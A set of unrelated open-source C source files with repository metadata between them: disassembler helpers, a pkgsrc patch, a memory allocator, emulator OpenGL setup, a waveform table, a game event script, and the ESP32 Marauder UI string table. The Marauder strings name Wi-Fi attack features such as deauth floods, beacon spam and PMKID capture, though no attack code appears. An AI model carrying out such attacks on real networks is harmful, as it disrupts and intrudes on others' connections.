const char* ZydisRegisterGetString(ZydisRegister reg)
{
if ((ZyanUSize)reg >= ZYAN_ARRAY_LENGTH(STR_REGISTERS))
{
return ZYAN_NULL;
}
return STR_REGISTERS[reg].data;
}
const ZydisShortString* ZydisRegisterGetStringWrapped(ZydisRegister reg)
{
if ((ZyanUSize)reg >= ZYAN_ARRAY_LENGTH(STR_REGISTERS))
{
return ZYAN_NULL;
}
return &STR_REGISTERS[reg];
}
/* ---------------------------------------------------------------------------------------------- */
/* Register class */
/* ---------------------------------------------------------------------------------------------- */
ZydisRegisterWidth ZydisRegisterClassGetWidth(ZydisMachineMode mode,
ZydisRegisterClass register_class)
{
if ((ZyanUSize)register_class >= ZYAN_ARRAY_LENGTH(REG_CLASS_LOOKUP))
{
return 0;
}
return (mode == ZYDIS_MACHINE_MODE_LONG_64)
? REG_CLASS_LOOKUP[register_class].width64
: REG_CLASS_LOOKUP[register_class].width;
}
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
|
a0344d8bf4b989705fffb5f576c87ea72c7491d0
|
376e1818d427b5e4d32fa6dd6c7b71e9fd88afdb
|
/devel/ruby-priority-queue/patches/patch-ext_priority__queue_priority__queue.c
|
96769371fe5137503aa1245db1c53566e2ca34ee
|
[] |
no_license
|
NetBSD/pkgsrc
|
a0732c023519650ef821ab89c23ab6ab59e25bdb
|
d042034ec4896cc5b47ed6f2e5b8802d9bc5c556
|
refs/heads/trunk
| 2023-09-01T07:40:12.138283
| 2023-09-01T05:25:19
| 2023-09-01T05:25:19
| 88,439,572
| 321
| 138
| null | 2023-07-12T22:34:14
| 2017-04-16T20:04:15
| null |
UTF-8
|
C
| false
| false
| 517
|
c
|
patch-ext_priority__queue_priority__queue.c
|
$NetBSD: patch-ext_priority__queue_priority__queue.c,v 1.1 2021/02/14 14:58:20 taca Exp $
Do not declar/define bool, false, true if already defined.
--- ext/priority_queue/priority_queue.c.orig 2021-01-11 07:17:11.301968825 +0000
+++ ext/priority_queue/priority_queue.c
@@ -24,10 +24,16 @@
#include "ruby.h"
#include <math.h>
+#ifndef bool
typedef _Bool bool;
+#endif
+#ifndef false
#define false 0;
+#endif
+#ifndef true
#define true 1;
+#endif
// Node Structure
typedef struct struct_priority_node {
|
67a9510a90175dea1ea3e6d95e3c46dc054acc96
|
00fbe208cec31dc61ca326ea0c7c8711e4a8db2a
|
/legacy/deps/ccommon/src/cc_mm.c
|
8fa28f980e57e57215d61b6c7309e6d82665d267
|
[
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference",
"LGPL-2.1-or-later"
] |
permissive
|
twitter/pelikan
|
9725f1a5d1e30ebbdbcf3b0177c4dae130806b1d
|
e7a76c92d8a6b401475ce53d3cefe964f1e7fbb6
|
refs/heads/master
| 2023-08-14T05:07:36.020898
| 2022-10-27T17:13:29
| 2022-10-27T17:13:29
| 42,829,191
| 1,880
| 180
|
Apache-2.0
| 2023-05-12T12:23:40
| 2015-09-20T20:51:55
|
C
|
UTF-8
|
C
| false
| false
| 4,164
|
c
|
cc_mm.c
|
/*
* ccommon - a cache common library.
* Copyright (C) 2013 Twitter, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <cc_mm.h>
#include <cc_debug.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#ifdef OS_DARWIN
# define MAP_ANONYMOUS MAP_ANON
#include <malloc/malloc.h>
#define malloc_usable_size malloc_size
#else
#include <malloc.h>
#endif
void *
_cc_alloc(size_t size, const char *name, int line)
{
void *p;
if (size == 0) {
log_debug("malloc(0) @ %s:%d", name, line);
return NULL;
}
p = malloc(size);
if (p == NULL) {
log_error("malloc(%zu) failed @ %s:%d", size, name, line);
} else {
log_vverb("malloc(%zu) at %p @ %s:%d", size, p, name, line);
}
return p;
}
void *
_cc_zalloc(size_t size, const char *name, int line)
{
void *p;
p = _cc_alloc(size, name, line);
if (p != NULL) {
memset(p, 0, size);
}
return p;
}
void *
_cc_calloc(size_t nmemb, size_t size, const char *name, int line)
{
return _cc_zalloc(nmemb * size, name, line);
}
void *
_cc_realloc(void *ptr, size_t size, const char *name, int line)
{
void *p;
if (size == 0) {
free(ptr);
log_debug("realloc(0) @ %s:%d", name, line);
return NULL;
}
p = realloc(ptr, size);
if (p == NULL) {
log_error("realloc(%zu) failed @ %s:%d", size, name, line);
} else {
log_vverb("realloc(%zu) at %p @ %s:%d", size, p, name, line);
}
return p;
}
void *
_cc_realloc_move(void *ptr, size_t size, const char *name, int line)
{
void *p = NULL, *pr;
if (size == 0) {
free(ptr);
log_debug("realloc(0) @ %s:%d", name, line);
return NULL;
}
/*
* Calling realloc then malloc allows us to force this function call to
* change the address of the allocated memory block. realloc ensures we can
* copy size bytes, and calling malloc before the realloc'd data is free'd
* gives us a new address for the memory object.
*/
if (((pr = realloc(ptr, size)) == NULL || (p = malloc(size)) == NULL)) {
log_error("realloc(%zu) failed @ %s:%d", size, name, line);
} else {
log_vverb("realloc(%zu) at %p @ %s:%d", size, p, name, line);
memcpy(p, pr, size);
}
free(pr);
return p;
}
void
_cc_free(void *ptr, const char *name, int line)
{
log_vverb("free(%p) @ %s:%d", ptr, name, line);
free(ptr);
}
void *
_cc_mmap(size_t size, const char *name, int line)
{
void *p;
ASSERT(size != 0);
/*
* On success, mmap() returns a pointer to the mapped area. On error,
* the value MAP_FAILED (that is, (void *) -1) is returned, and errno
* is set appropriately.
*/
p = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS,
-1, 0);
if (p == ((void *) -1)) {
log_error("mmap %zu bytes @ %s:%d failed: %s", size, name, line,
strerror(errno));
return NULL;
}
return p;
}
int
_cc_munmap(void *p, size_t size, const char *name, int line)
{
int status;
ASSERT(p != NULL);
ASSERT(size != 0);
/*
* On success, munmap() returns 0, on failure -1, and errno is set
* (probably to EINVAL).
*/
status = munmap(p, size);
if (status < 0) {
log_error("munmap %p @ %s:%d failed: %s", p, name, line,
strerror(errno));
}
return status;
}
size_t
_cc_alloc_usable_size(void *ptr, const char *name, int line)
{
log_vverb("malloc_usable_size(%p) @ %s:%d", ptr, name, line);
return malloc_usable_size(ptr);
}
|
adbdf4659d90fde20bd3086fb31e4a94f391b54b
|
1c92d2c1fb2ed9a4bf6a9c9f1875bb5fff546086
|
/os/winapi/gl_config.c
|
4d1180f4b0113b81b5905d42a2d0cde0717a1843
|
[] |
permissive
|
n64dev/cen64
|
83a5b77221408745a16c323b902c20ecdb00f146
|
1c1118462bd9d9b8ceb4c556a647718072477aab
|
refs/heads/master
| 2023-09-05T18:35:09.152950
| 2023-05-29T04:24:38
| 2023-05-29T04:24:38
| 9,182,531
| 435
| 65
|
BSD-3-Clause
| 2023-09-02T21:07:35
| 2013-04-02T23:17:08
|
C
|
UTF-8
|
C
| false
| false
| 2,879
|
c
|
gl_config.c
|
//
// os/winapi/gl_config.c: WinAPI/OpenGL framebuffer configuration.
//
// CEN64: Cycle-Accurate Nintendo 64 Emulator.
// Copyright (C) 2015, Tyler J. Stachecki.
//
// This file is subject to the terms and conditions defined in
// 'LICENSE', which is part of this source code package.
//
#include "common.h"
#include "gl_common.h"
#include "gl_config.h"
#include "gl_hints.h"
#include <stddef.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
//
// Creates a matching cen64_gl_config from a cen64_gl_hints struct.
//
// On error, CEN64_GL_CONFIG_BAD is returned.
//
cen64_gl_config *cen64_gl_config_create(cen64_gl_display display,
cen64_gl_screen screen, const cen64_gl_hints *hints, int *matching) {
struct cen64_gl_config *config;
PIXELFORMATDESCRIPTOR pfd;
// Do *NOT* use this hDC HANDLE outside this function.
// It is the desktop window's hDC, and we shouldn't mess
// with it. The only thing it's used for is to match a
// PIXELFORMATDESCRIPTOR and expose success/failure.
HDC screen_hdc;
if ((config = malloc(sizeof(*config))) == NULL)
return CEN64_GL_CONFIG_BAD;
if ((screen_hdc = GetDC(screen)) == NULL) {
free(config);
return CEN64_GL_CONFIG_BAD;
}
memset(&pfd, 0, sizeof(pfd));
pfd.nSize = sizeof(pfd);
// As of 04/25/15, the MSDN documention (still) just says
// to set this field to 1. So, uh, let's go with that.
pfd.nVersion = 1;
// Pack the structure using the provided hints->
pfd.dwFlags = PFD_SUPPORT_OPENGL;
pfd.iLayerType = PFD_MAIN_PLANE;
pfd.iPixelType |= (enum cen64_gl_context_type) hints->context_type;
pfd.dwFlags |= (enum cen64_gl_drawable_type) hints->drawable_type;
if (hints->double_buffered != -1)
pfd.dwFlags |= PFD_DOUBLEBUFFER;
if (hints->stereoscopic != -1)
pfd.dwFlags |= PFD_STEREO;
if (hints->rgb_color_depth != -1)
pfd.cColorBits = hints->rgb_color_depth;
if (hints->alpha_color_depth != -1)
pfd.cAlphaBits = hints->alpha_color_depth;
if (hints->depth_buffer_size != -1)
pfd.cDepthBits = hints->depth_buffer_size;
if (hints->num_aux_buffers != -1)
pfd.cAuxBuffers = hints->num_aux_buffers;
if (hints->stencil_buffer_size != -1)
pfd.cStencilBits = hints->stencil_buffer_size;
if (hints->accum_buffer_red_bits != -1)
pfd.cAccumRedBits = hints->accum_buffer_red_bits;
if (hints->accum_buffer_green_bits != -1)
pfd.cAccumGreenBits = hints->accum_buffer_green_bits;
if (hints->accum_buffer_blue_bits != -1)
pfd.cAccumBlueBits = hints->accum_buffer_blue_bits;
if (hints->accum_buffer_alpha_bits != -1)
pfd.cAccumAlphaBits = hints->accum_buffer_alpha_bits;
config->pixel_format = ChoosePixelFormat(screen_hdc, &pfd);
DescribePixelFormat(screen_hdc, config->pixel_format,
sizeof(config->pfd), &config->pfd);
ReleaseDC(screen, screen_hdc);
*matching = 1;
return config;
}
|
42d2687676681b778953eb79682ed8e49c32ba64
|
f3eed0234b4d0ad2bbb2abd700cf1e2c7a0e8a1d
|
/AKWF-c/AKWF_0006/AKWF_0553.h
|
027dd1571467d5bc4c5021966b309dd3088e8847
|
[
"CC0-1.0"
] |
permissive
|
KristofferKarlAxelEkstrand/AKWF-FREE
|
b2defa1a2d389d309be6dd2e9f968923daf80d1b
|
cf8171df36e9fec25416b5f568b72a6e2cb69194
|
refs/heads/master
| 2023-07-23T18:22:36.939705
| 2023-07-10T17:14:40
| 2023-07-10T17:14:40
| 145,817,187
| 359
| 59
|
CC0-1.0
| 2023-07-10T17:14:41
| 2018-08-23T07:26:56
| null |
UTF-8
|
C
| false
| false
| 4,672
|
h
|
AKWF_0553.h
|
/* Adventure Kid Waveforms (AKWF) converted for use with Teensy Audio Library
*
* Adventure Kid Waveforms(AKWF) Open waveforms library
* https://www.adventurekid.se/akrt/waveforms/adventure-kid-waveforms/
*
* This code is in the public domain, CC0 1.0 Universal (CC0 1.0)
* https://creativecommons.org/publicdomain/zero/1.0/
*
* Converted by Brad Roy, https://github.com/prosper00
*/
/* AKWF_0553 256 samples
+-----------------------------------------------------------------------------------------------------------------+
| ****** ** ** ** |
| ** *** * * ** ** |
| ** *** * ** ** *** |
| ** ** * * ** ** |
| ** ** * ** ** *** |
| ** *** * ** ** ** |
|** ** * ** ** *** |
| ** * * ** ** *|
| ** ** ** ** ** **|
| *** *** ** * ** *** |
| ** ** * ** ** ** |
| ** ** * ** ** ** |
| *** ** ** ** ** *** |
| ** *** ** ** ** ** |
| ** *** * ** ** *** |
+-----------------------------------------------------------------------------------------------------------------+
*/
const uint16_t AKWF_0553 [] = {
33220, 34597, 35878, 37193, 38469, 39777, 41100, 42469, 43875, 45312, 46778, 48239, 49710, 51149, 52602, 54019,
55474, 56907, 58400, 59859, 61397, 62857, 64442, 65482, 64964, 63880, 63035, 62160, 61137, 60135, 58944, 57771,
56577, 55424, 54383, 53397, 52506, 51621, 50731, 49780, 48765, 47678, 46547, 45393, 44260, 43154, 42094, 41055,
40030, 38979, 37892, 36744, 35546, 34300, 33032, 31758, 30495, 29246, 28011, 26774, 25524, 24246, 22930, 21578,
20189, 18789, 17372, 15971, 14565, 13187, 11793, 10421, 9008, 7610, 6158, 4728, 3248, 1817, 356, 153,
1094, 2055, 2842, 3759, 4766, 5754, 6984, 8055, 9299, 10309, 11405, 12251, 13218, 13977, 14962, 15784,
16895, 17852, 19067, 20100, 21298, 22313, 23405, 24401, 25400, 26483, 27436, 28748, 29617, 31327, 31781, 43398,
54856, 61511, 65047, 61200, 58149, 54346, 52064, 49373, 46810, 43902, 41500, 39094, 36672, 34044, 31379, 28870,
26357, 23945, 21299, 18767, 16068, 13644, 11057, 8725, 6107, 3788, 1085, 243, 1778, 3170, 4696, 6435,
8265, 10047, 11610, 13005, 14305, 15686, 17188, 18823, 20478, 22089, 23607, 25071, 26537, 28079, 29718, 31438,
33185, 34920, 36618, 38292, 39967, 41691, 43466, 45300, 47156, 49014, 50846, 52655, 54449, 56249, 58069, 59910,
61768, 63632, 65321, 65039, 63715, 62735, 61551, 60341, 58944, 57519, 56095, 54782, 53593, 52508, 51469, 50393,
49240, 47984, 46663, 45313, 43990, 42714, 41497, 40298, 39090, 37828, 36495, 35095, 33648, 32185, 30734, 29302,
27892, 26481, 25052, 23581, 22068, 20507, 18927, 17331, 15755, 14179, 12634, 11077, 9532, 7947, 6371, 4740,
3149, 1485, 135, 459, 1636, 2521, 3494, 4561, 5681, 6953, 8207, 9471, 10642, 11711, 12705, 13628,
14578, 15555, 16627, 17761, 18960, 20173, 21369, 22529, 23636, 24732, 25805, 26933, 28077, 29334, 30572, 31973,
};
|
095aff44d4c0c8082f3bc73b42e5712eee5c7159
|
61be4a7bfc24468a1227ea797150520c83257844
|
/event/Npc_HyruleDepthHatago002.c
|
a27fd78f6857a2f0132c92188ecd6c3d63af17c9
|
[] |
no_license
|
MrCheeze/botw-tools
|
491e6a2d06191efa7fc7048aefb48b3b38a59a52
|
9a9e845beed87f5ec417c01e515d0fa01366366c
|
refs/heads/master
| 2022-06-26T01:34:38.353269
| 2022-06-20T14:52:01
| 2022-06-20T14:53:26
| 85,882,713
| 238
| 92
| null | 2017-05-01T22:15:30
| 2017-03-22T22:34:34
|
Python
|
UTF-8
|
C
| false
| false
| 5,309
|
c
|
Npc_HyruleDepthHatago002.c
|
-------- EventFlow: Npc_HyruleDepthHatago002 --------
Actor: EventSystemActor
entrypoint: None()
actions: []
queries: ['CheckWeather', 'GeneralChoice2', 'CheckTime', 'CheckFlag']
params: {'CreateMode': 0, 'IsGrounding': False, 'IsWorld': False, 'PosX': 0.0, 'PosY': 0.0, 'PosZ': 0.0, 'RotX': 0.0, 'RotY': 0.0, 'RotZ': 0.0}
Actor: Npc_HyruleDepthHatago002
entrypoint: None()
actions: ['Demo_TalkASync', 'Demo_Talk', 'Demo_TalkToPlayer']
queries: ['CheckActorAction13', 'IsArriveAnchorForRain']
params: {'CreateMode': 0, 'IsGrounding': False, 'IsWorld': False, 'PosX': 0.0, 'PosY': 0.0, 'PosZ': 0.0, 'RotX': 0.0, 'RotY': 0.0, 'RotZ': 0.0}
void Talk() {
call InitTalk.InitTalk({'Arg_Turn': 0, 'Arg_Greeting': 'FollowAISchedule'})
switch Npc_HyruleDepthHatago002.CheckActorAction13() {
case [0, 4, 5, 6, 7, 8, 9, 12, 13]:
switch EventSystemActor.CheckWeather() {
case 0:
Event8:
Npc_HyruleDepthHatago002.Demo_Talk({'IsWaitFinish': True, 'IsCloseMessageDialog': False, 'ASName': '', 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'MessageId': 'EventFlowMsg/Npc_HyruleDepthHatago002:Talk00'})
if !EventSystemActor.GeneralChoice2() {
switch EventSystemActor.CheckWeather() {
case 0:
Npc_HyruleDepthHatago002.Demo_Talk({'IsWaitFinish': True, 'ASName': '', 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'IsCloseMessageDialog': True, 'MessageId': 'EventFlowMsg/Npc_HyruleDepthHatago002:Talk01'})
case [1, 2, 3]:
Npc_HyruleDepthHatago002.Demo_Talk({'IsWaitFinish': True, 'ASName': '', 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'IsCloseMessageDialog': True, 'MessageId': 'EventFlowMsg/Npc_HyruleDepthHatago002:Talk04'})
}
} else {
Event11:
Npc_HyruleDepthHatago002.Demo_Talk({'IsWaitFinish': True, 'ASName': '', 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'IsCloseMessageDialog': True, 'MessageId': 'EventFlowMsg/Npc_HyruleDepthHatago002:Talk02'})
}
case [1, 2, 3]:
if EventSystemActor.CheckFlag({'FlagName': 'Npc_HyruleDepthHatago002_InUmayado'}) {
goto Event8
} else {
Npc_HyruleDepthHatago002.Demo_Talk({'IsWaitFinish': True, 'ASName': '', 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'IsCloseMessageDialog': True, 'MessageId': 'EventFlowMsg/Npc_HyruleDepthHatago002:Talk03'})
}
}
case 1:
goto Event8
case 2:
goto Event11
case [3, 10]:
Npc_HyruleDepthHatago002.Demo_Talk({'IsWaitFinish': True, 'ASName': '', 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'IsCloseMessageDialog': False, 'MessageId': 'EventFlowMsg/Npc_HyruleDepthHatago002:Talk05'})
goto Event11
case 11:
Npc_HyruleDepthHatago002.Demo_Talk({'IsWaitFinish': True, 'ASName': '', 'IsBecomingSpeaker': True, 'IsOverWriteLabelActorName': False, 'IsCloseMessageDialog': True, 'MessageId': 'EventFlowMsg/Npc_HyruleDepthHatago002:Talk06'})
}
}
void Near() {
switch Npc_HyruleDepthHatago002.CheckActorAction13() {
case 0:
switch EventSystemActor.CheckWeather() {
case 0:
Event4:
Npc_HyruleDepthHatago002.Demo_TalkASync({'IsWaitFinish': True, 'MessageId': 'EventFlowMsg/Npc_HyruleDepthHatago002:Near00', 'IsChecked': False, 'DispFrame': 90})
case [1, 2, 3]:
Event22:
if Npc_HyruleDepthHatago002.IsArriveAnchorForRain() {
Npc_HyruleDepthHatago002.Demo_TalkASync({'IsWaitFinish': True, 'MessageId': 'EventFlowMsg/Npc_HyruleDepthHatago002:Near_RunRain00', 'IsChecked': False, 'DispFrame': 90})
} else {
Npc_HyruleDepthHatago002.Demo_TalkASync({'IsWaitFinish': True, 'MessageId': 'EventFlowMsg/Npc_HyruleDepthHatago002:Near_RunRain01', 'IsChecked': False, 'DispFrame': 90})
}
}
case 1:
switch EventSystemActor.CheckWeather() {
case 0:
if EventSystemActor.CheckTime({'Hour': 17, 'ConditionType': 'ge', 'Minute': 0}) {
if EventSystemActor.CheckTime({'Hour': 18, 'ConditionType': 'le', 'Minute': 0}) {
Npc_HyruleDepthHatago002.Demo_TalkToPlayer({'IsWaitFinish': True, 'MessageId': 'EventFlowMsg/Npc_HyruleDepthHatago002:Near01', 'ASKeyName': 'Act_Touting_Speechballon'})
} else {
Npc_HyruleDepthHatago002.Demo_TalkASync({'IsWaitFinish': True, 'MessageId': 'EventFlowMsg/Npc_HyruleDepthHatago002:Near02', 'IsChecked': False, 'DispFrame': 90})
}
} else {
goto Event4
}
case [1, 2, 3]:
goto Event22
}
case [2, 10]:
Npc_HyruleDepthHatago002.Demo_TalkASync({'IsWaitFinish': True, 'MessageId': 'EventFlowMsg/Npc_HyruleDepthHatago002:Near_Sleep01', 'IsChecked': False, 'DispFrame': 90})
case 3:
goto Event4
case 11:
Npc_HyruleDepthHatago002.Demo_TalkASync({'IsWaitFinish': True, 'MessageId': 'EventFlowMsg/Npc_HyruleDepthHatago002:Near_Sleep00', 'IsChecked': False, 'DispFrame': 90})
}
}
|
1327ca67edf0abd3d610b41d87e11c07238d2d5d
|
1bd444391cb7d3397c6346c2323cc3328450055f
|
/esp32_marauder/lang_var.h
|
545bf1d2a3ab2879bb604462d699981b8c1f87c0
|
[
"MIT"
] |
permissive
|
justcallmekoko/ESP32Marauder
|
480efe7ebcc902e74697282cb468b5e7a8ae83e2
|
6da2d335076884f778a1be36f6a16ed5082cdf12
|
refs/heads/master
| 2023-09-03T14:08:40.324311
| 2023-08-28T13:31:34
| 2023-08-28T13:31:34
| 208,325,027
| 2,895
| 324
| null | 2023-09-10T19:07:08
| 2019-09-13T18:37:40
|
C++
|
UTF-8
|
C
| false
| false
| 9,986
|
h
|
lang_var.h
|
#ifndef lang_var_h
#define lang_var_h
#include "configs.h"
//Starting window texts
PROGMEM const char text0_0[] = "Giving room for HardwareSerial...";
PROGMEM const char text0_1[] = "Started Serial";
PROGMEM const char text0_2[] = "Checked RAM";
PROGMEM const char text0_3[] = "Initialized SD Card";
PROGMEM const char text0_4[] = "Failed to Initialize SD Card";
PROGMEM const char text0_5[] = "Checked battery configuration";
PROGMEM const char text0_6[] = "Initialized temperature interface";
PROGMEM const char text0_7[] = "Initialized LED Interface";
PROGMEM const char text0_8[] = "Starting...";
//Single library (action) texts/Often used
PROGMEM const char text00[] = "Battery Level changed: ";
PROGMEM const char text01[] = "file closed";
PROGMEM const char text02[] = "Failed to open file '";
PROGMEM const char text03[] = "ON";
PROGMEM const char text04[] = "OFF";
PROGMEM const char text05[] = "Load";
PROGMEM const char text06[] = "Save As";
PROGMEM const char text07[] = "Exit";
PROGMEM const char text08[] = "Settings";
PROGMEM const char text09[] = "Back";
PROGMEM const char text10[] = "Channel:";
PROGMEM const char text11[] = "Touch screen to exit";
PROGMEM const char text12[] = "Cancel";
PROGMEM const char text13[] = "Save";
PROGMEM const char text14[] = "Yes";
PROGMEM const char text15[] = "Opening /update.bin...";
PROGMEM const char text16[] = "Close";
PROGMEM const char text17[] = "FAIL";
PROGMEM const char text18[] = "packets/sec: ";
//Menufunctions.cpp texts
PROGMEM const char text1_0[] = "SSID List";
PROGMEM const char text1_1[] = "Add SSIDs";
PROGMEM const char text1_2[] = "SSID: ";
PROGMEM const char text1_3[] = "Password:";
PROGMEM const char text1_4[] = "Setting disabled";
PROGMEM const char text1_5[] = "Setting on";
PROGMEM const char text1_6[] = "ESP32 Marauder ";
PROGMEM const char text1_7[] = "WiFi ";
PROGMEM const char text1_8[] = "Bad USB ";
PROGMEM const char text1_9[] = "Device ";
PROGMEM const char text1_10[] = "General Apps ";
PROGMEM const char text1_11[] = "Updating... ";
PROGMEM const char text1_12[] = "Select Method ";
PROGMEM const char text1_13[] = "Confirm Update ";
PROGMEM const char text1_14[] = "ESP8266 Update ";
PROGMEM const char text1_15[] = "Update Firmware ";
PROGMEM const char text1_16[] = "Language ";
PROGMEM const char text1_17[] = "Device Info ";
PROGMEM const char text1_18[] = "Settings ";
PROGMEM const char text1_19[] = "Bluetooth ";
PROGMEM const char text1_20[] = "WiFi Sniffers ";
PROGMEM const char text1_21[] = "WiFi Attacks ";
PROGMEM const char text1_22[] = "WiFi General ";
PROGMEM const char text1_23[] = "Bluetooth Sniffers ";
PROGMEM const char text1_24[] = "Bluetooth General ";
PROGMEM const char text1_25[] = "Shutdown WiFi ";
PROGMEM const char text1_26[] = "Shutdown BLE ";
PROGMEM const char text1_27[] = "Generate SSIDs ";
PROGMEM const char text1_28[] = "Clear SSIDs ";
PROGMEM const char text1_29[] = "Clear APs ";
PROGMEM const char text1_30[] = "Reboot";
PROGMEM const char text1_31[] = "Sniffers";
PROGMEM const char text1_32[] = "Attacks";
PROGMEM const char text1_33[] = "General";
PROGMEM const char text1_34[] = "Bluetooth Sniffer";
PROGMEM const char text1_35[] = "Detect Card Skimmers";
PROGMEM const char text1_36[] = "Test BadUSB";
PROGMEM const char text1_37[] = "Run Ducky Script";
PROGMEM const char text1_38[] = "Draw";
PROGMEM const char text1_39[] = "Web Update";
PROGMEM const char text1_40[] = "SD Update";
PROGMEM const char text1_41[] = "ESP8266 Update";
PROGMEM const char text1_42[] = "Probe Request Sniff";
PROGMEM const char text1_43[] = "Beacon Sniff";
PROGMEM const char text1_44[] = "Deauth Sniff";
PROGMEM const char text1_45[] = "Packet Monitor";
PROGMEM const char text1_46[] = "EAPOL/PMKID Scan";
PROGMEM const char text1_47[] = "Detect Pwnagotchi";
PROGMEM const char text1_48[] = "Detect Espressif";
PROGMEM const char text1_49[] = "Scan APs";
PROGMEM const char text1_50[] = "Beacon Spam List";
PROGMEM const char text1_51[] = "Beacon Spam Random";
PROGMEM const char text1_52[] = "Rick Roll Beacon";
PROGMEM const char text1_53[] = "Probe Req Flood";
PROGMEM const char text1_54[] = "Deauth Flood";
PROGMEM const char text1_55[] = "Join WiFi";
PROGMEM const char text1_56[] = "Select APs";
PROGMEM const char text1_57[] = "AP Clone Spam";
PROGMEM const char text1_58[] = "Raw Capture";
PROGMEM const char text1_59[] = "Station Sniff";
PROGMEM const char text1_60[] = "Clear Stations";
PROGMEM const char text1_61[] = "Select Stations";
PROGMEM const char text1_62[] = "Deauth Targeted";
//SDInterface.cpp texts
PROGMEM const char text2_0[] = "Error, could not find update.bin";
PROGMEM const char text2_1[] = "Starting SD Update...";
PROGMEM const char text2_2[] = "Error, update.bin is empty";
PROGMEM const char text2_3[] = "\nRebooting...\n";
PROGMEM const char text2_4[] = "Could not load update.bin from /";
PROGMEM const char text2_5[] = "File size: ";
PROGMEM const char text2_6[] = "Writing file to partition...";
PROGMEM const char text2_7[] = "Written: ";
PROGMEM const char text2_8[] = "Written only : ";
PROGMEM const char text2_9[] = ". Retry?";
PROGMEM const char text2_10[] = " successfully";
PROGMEM const char text2_11[] = "Update complete";
PROGMEM const char text2_12[] = "Update could not complete";
PROGMEM const char text2_13[] = "Error Occurred. Error #: ";
PROGMEM const char text2_14[] = "Not enough space to begin OTA";
//Web.cpp texts
PROGMEM const char text3_0[] = "Configuring update server...\n\n";
PROGMEM const char text3_1[] = "IP address: ";
PROGMEM const char text3_2[] = "Update: ";
PROGMEM const char text3_3[] = "Bytes complete: ";
PROGMEM const char text3_4[] = "Update Success: ";
PROGMEM const char text3_5[] = "\nCompleted update server setup";
//WiFiScan.cpp texts
PROGMEM const char text4_0[] = " RSSI: ";
PROGMEM const char text4_1[] = "Potential Skimmer: ";
PROGMEM const char text4_2[] = "Already Connected";
PROGMEM const char text4_3[] = "Failed to connect";
PROGMEM const char text4_4[] = "Connected";
PROGMEM const char text4_5[] = "ForcePMKID";
PROGMEM const char text4_6[] = "ForceProbe";
PROGMEM const char text4_7[] = "SavePCAP";
PROGMEM const char text4_8[] = "Probe Flood";
PROGMEM const char text4_9[] = "Clearing APs...";
PROGMEM const char text4_10[] = "APs Cleared: ";
PROGMEM const char text4_11[] = "Clearing SSIDs...";
PROGMEM const char text4_12[] = "SSIDs Cleared: ";
PROGMEM const char text4_13[] = "Generating SSIDs...";
PROGMEM const char text4_14[] = "SSIDs Generated: "; //Add spaces before to match : [15]
PROGMEM const char text4_15[] = " Total SSIDs: "; //Add spaces beforer to match : [14]
PROGMEM const char text4_16[] = "Shutting down WiFi...";
PROGMEM const char text4_17[] = "WiFi not currently initialized";
PROGMEM const char text4_18[] = "Shutting down BLE...";
PROGMEM const char text4_19[] = "BLE not currently initialized";
PROGMEM const char text4_20[] = "Firmware: Marauder"; //From 20 to 35 add spaces so : is in line like it is now
PROGMEM const char text4_21[] = "Version: ";
PROGMEM const char text4_22[] = "ESP-IDF: ";
PROGMEM const char text4_23[] = "WSL Bypass: enabled";
PROGMEM const char text4_24[] = "WSL Bypass: disabled";
PROGMEM const char text4_25[] = "Station MAC: ";
PROGMEM const char text4_26[] = "AP MAC: ";
PROGMEM const char text4_27[] = "";
PROGMEM const char text4_28[] = "SD Card: Connected";
PROGMEM const char text4_29[] = "SD Card Size: ";
PROGMEM const char text4_30[] = "SD Card: Not Connected";
PROGMEM const char text4_31[] = "SD Card Size: 0";
PROGMEM const char text4_32[] = "IP5306 I2C: supported";
PROGMEM const char text4_33[] = "Battery Lvl: ";
PROGMEM const char text4_34[] = "IP5306 I2C: not supported";
PROGMEM const char text4_35[] = "Internal temp: ";
PROGMEM const char text4_36[] = " Detect Espressif ";
PROGMEM const char text4_37[] = " Detect Pwnagotchi ";
PROGMEM const char text4_38[] = " Beacon Sniffer ";
PROGMEM const char text4_39[] = " Deauthentication Sniffer ";
PROGMEM const char text4_40[] = " Probe Request Sniffer ";
PROGMEM const char text4_41[] = " Bluetooth Sniff ";
PROGMEM const char text4_42[] = " Detect Card Skimmers ";
PROGMEM const char text4_43[] = "Scanning for\nBluetooth-enabled skimmers\nHC-03, HC-05, and HC-06...";
PROGMEM const char text4_44[] = " AP Scan ";
PROGMEM const char text4_45[] = "Clearing Stations...";
PROGMEM const char text4_46[] = "Stations Cleared: ";
PROGMEM const char text4_47[] = "Targeted Deauth";
PROGMEM const char text4_48[] = "Using serial to transmit packets";
//Making tables
PROGMEM const char *text_table0[] = {text0_0,text0_1, text0_2, text0_3, text0_4, text0_5, text0_6, text0_7, text0_8};
PROGMEM const char *text_table1[] = {text1_0,text1_1,text1_2,text1_3,text1_4,text1_5,text1_6,text1_7,text1_8,text1_9,text1_10,text1_11,text1_12,text1_13,text1_14,text1_15,text1_16,text1_17,text1_18,text1_19,text1_20,text1_21,text1_22,text1_23,text1_24,text1_25,text1_26,text1_27,text1_28,text1_29,text1_30,text1_31,text1_32,text1_33,text1_34,text1_35,text1_36,text1_37,text1_38,text1_39,text1_40,text1_41,text1_42,text1_43,text1_44,text1_45,text1_46,text1_47,text1_48,text1_49,text1_50,text1_51,text1_52,text1_53,text1_54,text1_55,text1_56,text1_57,text1_58,text1_59,text1_60,text1_61,text1_62};
